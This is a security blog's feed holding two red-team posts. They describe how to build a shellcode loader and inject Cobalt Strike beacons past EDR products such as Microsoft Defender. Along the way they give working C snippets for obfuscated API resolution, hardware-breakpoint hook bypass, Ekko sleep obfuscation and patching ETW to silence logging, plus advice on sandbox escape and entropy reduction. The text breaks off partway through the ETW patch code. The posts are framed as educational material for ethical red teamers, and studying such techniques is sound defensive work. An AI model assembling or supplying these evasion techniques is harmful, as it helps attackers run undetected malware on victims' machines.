Jekyll2023-04-19T12:20:11+00:00https://vanmieghem.io/feed.xmlVincent Van MieghemA blog about security and stuff relatedProcess injection in 2023, evading leading EDRs2023-04-18T00:00:00+00:002023-04-18T00:00:00+00:00https://vanmieghem.io/process-injection-evading-edr-in-2023<p>Nowadays when I speak with my red team friends and touch upon the topic of process injection, the response is usually “Yes… but no…”. The risks of detection outweigh the need for having an implant “parasiting” in a host process. Typical process injection techniques stand out too much and more often than not is the injection linked to malicious activity. Occasionally, I like to pick-up this “AV evasion” hobby, and achieving process injection with arguably the most signatured malicious shellcode against today’s best endpoint protection, seemed like a fun exercise to me.</p>
<p>So in this blog post, we’ll walk through what combination of evasive techniques can be used to achieve process injection with zero detections or alerts.</p>
<p>My last year’s blog post is still relevant, and the techniques outlined there are used in this evasive loader as well. If you haven’t read that one (<a href="https://vanmieghem.io/blueprint-for-evading-edr-in-2022/">A blueprint for evading industry leading endpoint protection in 2022</a>), I recommend reading that first. On top of those techniques, this post will cover the techniques in a similar fashion: no source code, but a blueprint of what readily available code can be glued together to achieve our objective.</p>
<h3 id="1-a-custom-version-of-getprocaddress">1. A custom version of <code class="language-plaintext highlighter-rouge">GetProcAddress()</code></h3>
<p>Many evasive techniques rely on the use of the <code class="language-plaintext highlighter-rouge">WINAPI</code> function <code class="language-plaintext highlighter-rouge">GetProcAddress()</code> to obtain the virtual memory address of functions. For example, a typical way to obtain the memory address of an <code class="language-plaintext highlighter-rouge">Nt*</code> function to execute direct system calls (as first demonstrated in <a href="https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/">Combining Direct System Calls and sRDI to bypass AV/EDR</a>) is:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandle</span><span class="p">(</span><span class="s">L"ntdll.dll"</span><span class="p">),</span> <span class="s">L"NtWriteProcessMemory"</span><span class="p">);</span>
</code></pre></div></div>
<p>Everything in the above line is a signature for detection. The combination of strings <code class="language-plaintext highlighter-rouge">"NtWriteProcessMemory"</code> and <code class="language-plaintext highlighter-rouge">"ntdll.dll"</code> are suspicious, especially as arguments of <code class="language-plaintext highlighter-rouge">GetModuleHandle</code> and <code class="language-plaintext highlighter-rouge">GetProcAddress</code>. Both are used to resolve the memory location of a function, aiming to bypass the use of the exported (and potentially) API functions. Nowadays, <code class="language-plaintext highlighter-rouge">GetProcAddress</code> is a closely monitored function.</p>
<p>To evade both of these detection techniques, we can use our own implementation of <code class="language-plaintext highlighter-rouge">GetProcAddress()</code> that uses the process’ <code class="language-plaintext highlighter-rouge">PEB</code> structure to obtain the memory address of (exported) functions in the executable. The <code class="language-plaintext highlighter-rouge">PEB</code> contains lots of information about the process, loaded modules (DLLs), functions etc., that we can read out ourselves to obtain their memory locations. Fetching the memory location of <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, walking its <code class="language-plaintext highlighter-rouge">PEB</code> down to <code class="language-plaintext highlighter-rouge">AddressOfNames</code> gives us a list of <code class="language-plaintext highlighter-rouge">WINAPI</code>-function memory addresses which we can call directly. There are various implementations out there, most boil down to the same principle.</p>
<p>The strings we will obfuscate using previously described methods. You can also consider <a href="https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware">look-ups using hashes of API calls</a>.</p>
<h3 id="2-system-calls-using-hardware-breakpoints">2. System calls using hardware breakpoints</h3>
<p>This relatively new evasion technique to bypass hooks I first spotted in <a href="https://twitter.com/_EthicalChaos_">@<em>EthicalChaos</em></a>’s post <a href="https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/">In-Process Patchless AMSI Bypass</a>. His post outlines how EDR hooks in <code class="language-plaintext highlighter-rouge">ntdll.dll</code> can be bypassed using hardware breakpoints and Vectored Exception Handlers (VEH), which avoid in-memory patching of <code class="language-plaintext highlighter-rouge">ntdll.dll</code> (indicator of malicious activity). The technique is fairly straight forward:</p>
<ol>
<li>Register a VEH to handle the exception triggered by the breakpoint. VEHs are handled in the thread that raises the exception and the VEH has access to the corresponding thread context (including all registers).</li>
<li>Set a breakpoint on the memory address that you want to intercept execution for, i.e. <code class="language-plaintext highlighter-rouge">WINAPI NtWriteProcessMemory</code>. Setting the <code class="language-plaintext highlighter-rouge">DR7</code> register causes the OS to call the registered VEH.
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">GetThreadContext</span><span class="p">(</span><span class="n">myThread</span><span class="p">,</span> <span class="o">&</span><span class="n">ctx</span><span class="p">);</span> <span class="cm">/* get thread context */</span>
<span class="n">ctx</span><span class="p">.</span><span class="n">Dr0</span> <span class="o">=</span> <span class="p">(</span><span class="n">UINT64</span><span class="p">)</span><span class="o">&</span><span class="n">bp_addr</span><span class="p">;</span> <span class="cm">/* address you want to break on */</span>
<span class="n">ctx</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">|=</span> <span class="p">(</span><span class="mi">1</span> <span class="o"><<</span> <span class="mi">0</span><span class="p">);</span> <span class="cm">/* set first bit in DR7 */</span>
<span class="n">ctx</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1</span> <span class="o"><<</span> <span class="mi">16</span><span class="p">);</span> <span class="cm">/* clear 16 an 17th bit */</span>
<span class="n">ctx</span><span class="p">.</span><span class="n">Dr7</span> <span class="o">&=</span> <span class="o">~</span><span class="p">(</span><span class="mi">1</span> <span class="o"><<</span> <span class="mi">17</span><span class="p">);</span>
<span class="n">SetThreadContext</span><span class="p">(</span><span class="n">myThread</span><span class="p">,</span> <span class="o">&</span><span class="n">ctx</span><span class="p">)</span> <span class="cm">/* set the thread context, putting the breakpoint in place */</span>
</code></pre></div> </div>
</li>
<li>From the VEH it’s then possible to take over the control flow, and bypass the EDR hook.</li>
</ol>
<p><a href="https://twitter.com/dec0ne">@Dec0ne</a> created <a href="https://github.com/Dec0ne/HWSyscalls">HWSyscalls</a> in which the above steps are implemented. In the VEH, it uses <a href="https://blog.sektor7.net/#!res/2021/halosgate.md">HalosGate</a> to resolve the syscall number (SSN) when it detects the <code class="language-plaintext highlighter-rouge">WINAPI</code> is hooked (e.g. next instruction after the address in a <code class="language-plaintext highlighter-rouge">JMP</code> instruction). As a nice addition, HWSyscalls will point <code class="language-plaintext highlighter-rouge">RIP</code> (instruction pointer) to a <code class="language-plaintext highlighter-rouge">syscall; ret</code> instruction in <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, making the return address (<code class="language-plaintext highlighter-rouge">RAX</code>) point back to <code class="language-plaintext highlighter-rouge">ntdll.dll</code> memory instead of directly from our loader’s executable memory (indication of direct system calls).</p>
<p>HWSyscalls is an easy to integrate module. We’ll use that in our loader.</p>
<h3 id="3-threadless-injection">3. Threadless injection</h3>
<p>The next new technique, which is really the star of this loader, is <a href="https://github.com/CCob/ThreadlessInject">Threadless Process Injection</a> by <a href="https://twitter.com/_EthicalChaos_">@<em>EthicalChaos</em></a>. This technique only requires <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> (and <code class="language-plaintext highlighter-rouge">VirtualProtect</code>) and avoids the use of <code class="language-plaintext highlighter-rouge">NtCreateThread</code> (hence “threadless”, I assume). The absence of the last call breaks the typical process injection detection combination. It goes as follows:</p>
<ol>
<li>Find a memory location (a “memory hole”, or “code cave”) in the remote process that is large enough to hold our shellcode and a small trampoline to.</li>
<li>Write the shellcode plus stub to the code cave. The stub will function as a trampoline.</li>
<li>Add a <code class="language-plaintext highlighter-rouge">JMP</code> instruction right after a commonly used <code class="language-plaintext highlighter-rouge">ntdll</code> function (e.g. <code class="language-plaintext highlighter-rouge">NtOpen</code>).</li>
<li>Wait for a legitimate thread to call <code class="language-plaintext highlighter-rouge">NtOpen</code>, follow the <code class="language-plaintext highlighter-rouge">JMP</code> instruction and execute our shellcode.</li>
<li>The trampoline redirect control flow back to the legitimate <code class="language-plaintext highlighter-rouge">NtOpen</code> instructions to continue the process execution and avoid a crash.</li>
</ol>
<p>More details are available on the <a href="https://github.com/CCob/ThreadlessInject">ThreadlessInject</a> repo.</p>
<h3 id="4-evading-common-malicious-patterns">4. Evading common malicious patterns</h3>
<p>This is really just a repetition of the same technique previously explained. I still believe one of the key detection techniques is a <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> and <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> (or Nt equivalents) call for ~300KB of memory (the side of common implant’s shellcode). Chunking those memory operations evade that detection, which <a href="https://github.com/xuanxuan0/DripLoader">DripLoader</a> introduced 2 years ago. Let’s also use this technique in our loader.</p>
<p><img src="https://vanmieghem.io/assets/images/2023-04-22-process-injection-evading-edr-in-2023/injection-large.gif" alt="" /></p>
<figcaption>High level representation of the loader execution flow.</figcaption>
<h3 id="5-sleep-evasion">5. Sleep evasion</h3>
<p>For a majority of the time the implant will be sleeping, waiting for the next C2 check-in. Once we have a successful execution of the implant’s shellcode, hiding its presence in memory while sleeping is key for EDR evasion. There have been a few new implementations for sleep evasion, but not many write-ups, so let’s expand a bit on this topic.</p>
<p>In my last post, I used a half-baked memory obfuscation solution (it didn’t encrypt the heap). It also uses a hook on the <code class="language-plaintext highlighter-rouge">Sleep()</code> function which leaves indicators in memory of <code class="language-plaintext highlighter-rouge">ntdll.dll</code>.</p>
<p>Most modern sleep evasion implementations are based on the FOLIAGE technique by <a href="https://twitter.com/ilove2pwn_">Austin Hudson</a>. One of them, <a href="https://github.com/Cracked5pider/Ekko">Ekko</a> by <a href="https://twitter.com/C5pider">5pider</a> is probably the most widely used implementation nowadays.</p>
<p>Ekko (like FOLIAGE, but uses queued timers instead of queued APCs) uses Thread Pools to delegate the sleep obfuscation work to a worker thread. The worker thread handles the sleep obfuscation of the main thread (where beacon resides), and alerts the main thread when the implant execution should continue. It does so using the following steps:</p>
<ol>
<li>Create a new <code class="language-plaintext highlighter-rouge">Event</code> and a <code class="language-plaintext highlighter-rouge">TimerQueue</code> to queue the obfuscation operations on.
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">hEvent</span> <span class="o">=</span> <span class="n">CreateEventW</span><span class="p">(</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span> <span class="p">);</span>
<span class="n">hTimerQueue</span> <span class="o">=</span> <span class="n">CreateTimerQueue</span><span class="p">();</span>
</code></pre></div> </div>
</li>
<li>Create a snapshot of the current (main) thread using <code class="language-plaintext highlighter-rouge">RtlCaptureContext</code> and save it in <code class="language-plaintext highlighter-rouge">&CtxThread</code> (the <code class="language-plaintext highlighter-rouge">WaitForSingleObject</code> call just waits for <code class="language-plaintext highlighter-rouge">RtlCaptureContext</code> to finish saving the snapshot).
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span> <span class="n">CreateTimerQueueTimer</span><span class="p">(</span> <span class="o">&</span><span class="n">hNewTimer</span><span class="p">,</span> <span class="n">hTimerQueue</span><span class="p">,</span> <span class="n">RtlCaptureContext</span><span class="p">,</span> <span class="o">&</span><span class="n">CtxThread</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">WT_EXECUTEINTIMERTHREAD</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="n">WaitForSingleObject</span><span class="p">(</span> <span class="n">hEvent</span><span class="p">,</span> <span class="mh">0x32</span> <span class="p">);</span>
</code></pre></div> </div>
</li>
<li>Then Ekko defines 6 different context structures that each hold an obfuscation operation to perform:
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">memcpy</span><span class="p">(</span> <span class="o">&</span><span class="n">RopProtRW</span><span class="p">,</span> <span class="o">&</span><span class="n">CtxThread</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span> <span class="n">CONTEXT</span> <span class="p">)</span> <span class="p">);</span> <span class="c1">// 1. Set memory protection to RW</span>
<span class="n">memcpy</span><span class="p">(</span> <span class="o">&</span><span class="n">RopMemEnc</span><span class="p">,</span> <span class="o">&</span><span class="n">CtxThread</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span> <span class="n">CONTEXT</span> <span class="p">)</span> <span class="p">);</span> <span class="c1">// 2. Encrypt memory image, multi-byte RC4 without needing memory allocations</span>
<span class="n">memcpy</span><span class="p">(</span> <span class="o">&</span><span class="n">RopDelay</span><span class="p">,</span> <span class="o">&</span><span class="n">CtxThread</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span> <span class="n">CONTEXT</span> <span class="p">)</span> <span class="p">);</span> <span class="c1">// 3. Delay (sleep) for specified amount of time, using WaitForSingleObject on something that does not become alertable</span>
<span class="n">memcpy</span><span class="p">(</span> <span class="o">&</span><span class="n">RopMemDec</span><span class="p">,</span> <span class="o">&</span><span class="n">CtxThread</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span> <span class="n">CONTEXT</span> <span class="p">)</span> <span class="p">);</span> <span class="c1">// 4. Decrypt the memory image</span>
<span class="n">memcpy</span><span class="p">(</span> <span class="o">&</span><span class="n">RopProtRX</span><span class="p">,</span> <span class="o">&</span><span class="n">CtxThread</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span> <span class="n">CONTEXT</span> <span class="p">)</span> <span class="p">);</span> <span class="c1">// 5. Set memory protection to RX</span>
<span class="n">memcpy</span><span class="p">(</span> <span class="o">&</span><span class="n">RopSetEvt</span><span class="p">,</span> <span class="o">&</span><span class="n">CtxThread</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span> <span class="n">CONTEXT</span> <span class="p">)</span> <span class="p">);</span> <span class="c1">// 6. Call SetEvent to alert our main thread that the worker thread is finished.</span>
</code></pre></div> </div>
</li>
<li>Queue all the above calls into the thread pool for the worker thread to execute and alert the main thread when finished:
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">CreateTimerQueueTimer</span><span class="p">(</span> <span class="o">&</span><span class="n">hNewTimer</span><span class="p">,</span> <span class="n">hTimerQueue</span><span class="p">,</span> <span class="n">NtContinue</span><span class="p">,</span> <span class="o">&</span><span class="n">RopProtRW</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">WT_EXECUTEINTIMERTHREAD</span> <span class="p">);</span>
<span class="n">CreateTimerQueueTimer</span><span class="p">(</span> <span class="o">&</span><span class="n">hNewTimer</span><span class="p">,</span> <span class="n">hTimerQueue</span><span class="p">,</span> <span class="n">NtContinue</span><span class="p">,</span> <span class="o">&</span><span class="n">RopMemEnc</span><span class="p">,</span> <span class="mi">200</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">WT_EXECUTEINTIMERTHREAD</span> <span class="p">);</span>
<span class="n">CreateTimerQueueTimer</span><span class="p">(</span> <span class="o">&</span><span class="n">hNewTimer</span><span class="p">,</span> <span class="n">hTimerQueue</span><span class="p">,</span> <span class="n">NtContinue</span><span class="p">,</span> <span class="o">&</span><span class="n">RopDelay</span><span class="p">,</span> <span class="mi">300</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">WT_EXECUTEINTIMERTHREAD</span> <span class="p">);</span>
<span class="n">CreateTimerQueueTimer</span><span class="p">(</span> <span class="o">&</span><span class="n">hNewTimer</span><span class="p">,</span> <span class="n">hTimerQueue</span><span class="p">,</span> <span class="n">NtContinue</span><span class="p">,</span> <span class="o">&</span><span class="n">RopMemDec</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">WT_EXECUTEINTIMERTHREAD</span> <span class="p">);</span>
<span class="n">CreateTimerQueueTimer</span><span class="p">(</span> <span class="o">&</span><span class="n">hNewTimer</span><span class="p">,</span> <span class="n">hTimerQueue</span><span class="p">,</span> <span class="n">NtContinue</span><span class="p">,</span> <span class="o">&</span><span class="n">RopProtRX</span><span class="p">,</span> <span class="mi">500</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">WT_EXECUTEINTIMERTHREAD</span> <span class="p">);</span>
<span class="n">CreateTimerQueueTimer</span><span class="p">(</span> <span class="o">&</span><span class="n">hNewTimer</span><span class="p">,</span> <span class="n">hTimerQueue</span><span class="p">,</span> <span class="n">NtContinue</span><span class="p">,</span> <span class="o">&</span><span class="n">RopSetEvt</span><span class="p">,</span> <span class="mi">600</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">WT_EXECUTEINTIMERTHREAD</span> <span class="p">);</span>
</code></pre></div> </div>
</li>
</ol>
<p>This technique does not require hooks or other sketchy <code class="language-plaintext highlighter-rouge">RWX</code> give-aways for memory scanners.</p>
<p>Ekko is implemented in Cobalt Strike’s 4.7+ sleepmask kit, I recommend enabling that. Additionally, you can consider adding <a href="https://github.com/ScriptIdiot/sleepmask_PatchlessHook">patchless evasion of ETW and AMSI</a>.</p>
<p>For this injection PoC we will use <a href="https://twitter.com/kyleavery_">Kyle Avery</a>’s Cobalt Strike reflective loader <a href="https://github.com/kyleavery/AceLdr">AceLdr</a> that implements the above for us. In addition, it also spoofs the return address while we sleep by pointing to a random other thread context using <code class="language-plaintext highlighter-rouge">NtSetContextThread</code> and “namazso’s x64 return address spoofer” (<a href="https://www.youtube.com/watch?v=edIMUcxCueA">his DEF CON 30 talk</a> is highly recommended).</p>
<p><img src="https://vanmieghem.io/assets/images/2023-04-22-process-injection-evading-edr-in-2023/defender-atp-injection-bypass.png" alt="" /></p>
<figcaption>Process injection on Microsoft Defender for Endpoint with 0 detections (not screenshotted, you have to trust me).</figcaption>
<p>So, that’s it; process injection in 2023, bypassing detection of (at least one) leading EDR solution. All in a pure C <code class="language-plaintext highlighter-rouge">.exe</code>, no fancy languages, runtimes, obscure file extensions or anything. Just “double-click and go”.</p>
<p><strong><em>OK, but what about other EDRs?</em></strong>
In my last blog post I showed the loader bypass CrowdStrike Falcon, for which I got into trouble. I don’t have access to other (good) EDR solutions. If you do and are happy to publish the results, please reach out.</p>
<!-- Oh and as a bonus, integrating these techniques in my "not-injecting" loader described in my last year's post, also achieves 0 detections.
![](https://vanmieghem.io/assets/images/2023-04-22-process-injection-evading-edr-in-2023/defender-atp-bypass.png)
<figcaption>Loader on Defender for Endpoint with 0 detections.</figcaption> -->
<p><img src="https://vanmieghem.io/assets/images/2023-04-22-process-injection-evading-edr-in-2023/until-next-time.png" alt="" width="40%" style="display:block; margin-left: auto; margin-right: auto;" /></p>vivamiNowadays when I speak with my red team friends and touch upon the topic of process injection, the response is usually “Yes… but no…”. The risks of detection outweigh the need for having an implant “parasiting” in a host process. Typical process injection techniques stand out too much and more often than not is the injection linked to malicious activity. Occasionally, I like to pick-up this “AV evasion” hobby, and achieving process injection with arguably the most signatured malicious shellcode against today’s best endpoint protection, seemed like a fun exercise to me.A blueprint for evading industry leading endpoint protection in 20222022-04-18T00:00:00+00:002022-04-18T00:00:00+00:00https://vanmieghem.io/blueprint-for-evading-edr-in-2022<p>About two years ago I quit being a full-time red team operator. However, it still is a field of expertise that stays very close to my heart. A few weeks ago, I was looking for a new side project and decided to pick up an old red teaming hobby of mine: bypassing/evading endpoint protection solutions.</p>
<p>In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can.</p>
<p>In adversary simulations, a key challenge in the “initial access” phase is bypassing the detection and response capabilities (EDR) on enterprise endpoints. Commercial command and control frameworks provide unmodifiable shellcode and binaries to the red team operator that are heavily signatured by the endpoint protection industry and in order to execute that implant, the signatures (both static and behavioural) of that shellcode need to be obfuscated.</p>
<p>In this post, I will cover the following techniques, with the ultimate goal of executing malicious shellcode, also known as a (shellcode) loader:</p>
<ol>
<li>Shellcode encryption</li>
<li>Reducing entropy</li>
<li>Escaping the (local) AV sandbox</li>
<li>Import table obfuscation</li>
<li>Disabling Event Tracing for Windows (ETW)</li>
<li>Evading common malicious API call patterns</li>
<li>Direct system calls and evading “mark of the syscall”</li>
<li>Removing hooks in <code class="language-plaintext highlighter-rouge">ntdll.dll</code></li>
<li>Spoofing the thread call stack</li>
<li>In-memory encryption of beacon</li>
<li>A custom reflective loader</li>
<li>OpSec configurations in your Malleable profile</li>
</ol>
<h3 id="1-shellcode-encryption">1. Shellcode encryption</h3>
<p>Let’s start with a basic but important topic, static shellcode obfuscation. In my loader, I leverage a XOR or RC4 encryption algorithm, because it is easy to implement and doesn’t leave a lot of external indicators of encryption activities performed by the loader. AES encryption to obfuscate static signatures of the shellcode leaves traces in the <a href="https://0xrick.github.io/win-internals/pe6/">import address table</a> of the binary, which increase suspicion. I’ve had Windows Defender specifically trigger on AES decryption functions (e.g. <code class="language-plaintext highlighter-rouge">CryptDecrypt</code>, <code class="language-plaintext highlighter-rouge">CryptHashData</code>, <code class="language-plaintext highlighter-rouge">CryptDeriveKey</code> etc.) in earlier versions of this loader.</p>
<p style="text-align: center;"><img src="https://vanmieghem.io/assets/images/2022-04-18-blueprint-for-evading-edr-in-2022/AES_import.png" alt="" width="400" /></p>
<figcaption>Output of dumpbin /imports, an easy giveaway of only AES decryption functions being used in the binary.</figcaption>
<!-- <img src="https://vanmieghem.io/assets/images/2022-04-18-blueprint-for-evading-edr-in-2022/AES_import.png" alt="drawing" width="400" style="margin: auto"/> -->
<h3 id="2-reducing-entropy">2. Reducing entropy</h3>
<p>Many AV/EDR solutions consider binary entropy in their assessment of an unknown binary. Since we’re encrypting the shellcode, the entropy of our binary is rather high, which is a clear indicator of obfuscated parts of code in the binary.</p>
<p>There are several ways of reducing the entropy of our binary, two simple ones that work are:</p>
<ol>
<li>Adding low entropy resources to the binary, such as (low entropy) images.</li>
<li>Adding strings, such as the English dictionary or some of <code class="language-plaintext highlighter-rouge">"strings C:\Program Files\Google\Chrome\Application\100.0.4896.88\chrome.dll"</code> output.</li>
</ol>
<p>A more elegant solution would be to design and implement an algorithm that would obfuscate (encode/encrypt) the shellcode into English words (low entropy). That would kill two birds with one stone.</p>
<h3 id="3-escaping-the-local-av-sandbox">3. Escaping the (local) AV sandbox</h3>
<p>Many EDR solutions will run the binary in a local sandbox for a few seconds to inspect its behaviour. To avoid compromising on the end user experience, they cannot afford to inspect the binary for longer than a few seconds (I’ve seen Avast taking up to 30 seconds in the past, but that was an exception). We can abuse this limitation by delaying the execution of our shellcode. Simply calculating a large prime number is my personal favourite. You can go a bit further and deterministically calculate a prime number and use that number as (a part of) the key to your encrypted shellcode.</p>
<h3 id="4-import-table-obfuscation">4. Import table obfuscation</h3>
<p>You want to avoid suspicious Windows API (WINAPI) from ending up in our IAT (<a href="https://0xrick.github.io/win-internals/pe6/">import address table</a>). This table consists of an overview of all the Windows APIs that your binary imports from other system libraries. A list of suspicious (oftentimes therefore inspected by EDR solutions) APIs can be found <a href="https://github.com/Mr-Un1k0d3r/EDRs">here</a>. Typically, these are <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>, <code class="language-plaintext highlighter-rouge">SetThreadContext</code> etc. Running <code class="language-plaintext highlighter-rouge">dumpbin /exports <binary.exe></code> will list all the imports. For the most part, we’ll use Direct System calls to bypass both EDR hooks (refer to section 7) of suspicious WINAPI calls, but for less suspicious API calls this method works just fine.</p>
<p>We add the function signature of the WINAPI call, get the address of the WINAPI in <code class="language-plaintext highlighter-rouge">ntdll.dll</code> and then create a function pointer to that address:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="nf">BOOL</span> <span class="p">(</span><span class="n">WINAPI</span> <span class="o">*</span> <span class="n">pVirtualProtect</span><span class="p">)(</span><span class="n">LPVOID</span> <span class="n">lpAddress</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">flNewProtect</span><span class="p">,</span> <span class="n">PDWORD</span> <span class="n">lpflOldProtect</span><span class="p">);</span>
<span class="n">pVirtualProtect</span> <span class="n">fnVirtualProtect</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">sVirtualProtect</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="sc">'V'</span><span class="p">,</span><span class="sc">'i'</span><span class="p">,</span><span class="sc">'r'</span><span class="p">,</span><span class="sc">'t'</span><span class="p">,</span><span class="sc">'u'</span><span class="p">,</span><span class="sc">'a'</span><span class="p">,</span><span class="sc">'l'</span><span class="p">,</span><span class="sc">'P'</span><span class="p">,</span><span class="sc">'r'</span><span class="p">,</span><span class="sc">'o'</span><span class="p">,</span><span class="sc">'t'</span><span class="p">,</span><span class="sc">'e'</span><span class="p">,</span><span class="sc">'c'</span><span class="p">,</span><span class="sc">'t'</span><span class="p">,</span> <span class="mh">0x0</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">sKernel32</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="sc">'k'</span><span class="p">,</span><span class="sc">'e'</span><span class="p">,</span><span class="sc">'r'</span><span class="p">,</span><span class="sc">'n'</span><span class="p">,</span><span class="sc">'e'</span><span class="p">,</span><span class="sc">'l'</span><span class="p">,</span><span class="sc">'3'</span><span class="p">,</span><span class="sc">'2'</span><span class="p">,</span><span class="sc">'.'</span><span class="p">,</span><span class="sc">'d'</span><span class="p">,</span><span class="sc">'l'</span><span class="p">,</span><span class="sc">'l'</span><span class="p">,</span> <span class="mh">0x0</span> <span class="p">};</span>
<span class="n">fnVirtualProtect</span> <span class="o">=</span> <span class="p">(</span><span class="n">pVirtualProtect</span><span class="p">)</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandle</span><span class="p">((</span><span class="n">LPCSTR</span><span class="p">)</span> <span class="n">sKernel32</span><span class="p">),</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span><span class="n">sVirtualProtect</span><span class="p">);</span>
<span class="c1">// call VirtualProtect</span>
<span class="n">fnVirtualProtect</span><span class="p">(</span><span class="n">address</span><span class="p">,</span> <span class="n">dwSize</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">,</span> <span class="o">&</span><span class="n">oldProt</span><span class="p">);</span>
</code></pre></div></div>
<p>Obfuscating strings using a character array cuts the string up in smaller pieces making them more difficult to extract from a binary.</p>
<p>The call will still be to an <code class="language-plaintext highlighter-rouge">ntdll.dll</code> WINAPI, and will not bypass any hooks in WINAPIs in <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, but is purely to remove suspicious functions from the IAT.</p>
<h3 id="5-disabling-event-tracing-for-windows-etw">5. Disabling Event Tracing for Windows (ETW)</h3>
<p>Many EDR solutions leverage Event Tracing for Windows (ETW) extensively, in particular Microsoft Defender for Endpoint (formerly known as Microsoft ATP). ETW allows for extensive instrumentation and tracing of a process’ functionality and WINAPI calls. ETW has components in the kernel, mainly to register callbacks for system calls and other kernel operations, but also consists of a userland component that is part of <code class="language-plaintext highlighter-rouge">ntdll.dll</code> (<a href="https://binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html">ETW deep dive and attack vectors</a>). Since <code class="language-plaintext highlighter-rouge">ntdll.dll</code> is a DLL loaded into the process of our binary, we have full control over this DLL and therefore the ETW functionality. There are <a href="https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/">quite</a> a <a href="https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/">few</a> <a href="https://modexp.wordpress.com/2020/04/08/red-teams-etw/">different</a> bypasses for ETW in userspace, but the most common one is patching the function <code class="language-plaintext highlighter-rouge">EtwEventWrite</code> which is called to write/log ETW events. We fetch its address in <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, and replace its first instructions with instructions to return 0 (<code class="language-plaintext highlighter-rouge">SUCCESS</code>).</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">disableETW</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// return 0</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">patch</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">};</span> <span class="c1">// xor rax, rax; ret</span>
<span class="n">ULONG</span> <span class="n">oldprotect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">patch</span><span class="p">);</span>
<span class="n">HANDLE</span> <span class="n">hCurrentProc</span> <span class="o">=</span> <span class="n">GetCurrentProcess</span><span class="p">();</span>
